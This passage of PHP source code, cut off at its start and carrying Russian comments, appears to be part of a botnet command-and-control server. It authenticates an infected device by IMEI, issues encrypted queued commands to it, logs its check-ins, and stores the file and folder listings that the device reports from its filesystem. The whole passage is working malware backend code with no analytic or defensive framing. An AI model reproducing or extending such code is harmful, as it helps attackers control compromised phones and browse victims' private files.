exec('SET NAMES utf8'); if($imei!=""){ $botid = ''; $statement = $connection->prepare("SELECT botid FROM ws WHERE id='1'"); $statement->execute(); foreach($statement as $row){ $botid = $row['botid']; break; } if($botid != $imei){ echo encrypt('**noconnection**',cryptKey); //echo '**noconnection**'; return; }else{ $database = new database; $strGetCommand = $database->ws_GetCommand(); $database->ws_UpdateLastConnect(date('Y-m-d H:i')); if($strGetCommand !== ''){ echo encrypt("$strGetCommand",cryptKey); //echo "$strGetCommand"; $database->ws_UpdateCommand(''); }else{ echo encrypt('**',cryptKey); //echo '**'; } } //if(strlen($command) >= 3){ // если запрос c командой! if(strpos($command, 'getPath!!!!') !== false){//-------Получаем Путь и файлы/папки------------- $database = new database; $str = str_replace('getPath!!!!', '', $command); $arraySTR = explode("!@@!",$str); $path = $arraySTR[0]; $fileFolder = $arraySTR[1]; $database->ws_UpdateFileFolder($fileFolder); $database->ws_UpdatePath($path); $database->ws_UpdateStatusFileFolder('1'); }elseif(strpos($command, '!!!refreshfilefolder!!!') !== false){ $database = new database; $database->ws_UpdateStatusFileFolder('1'); } // } }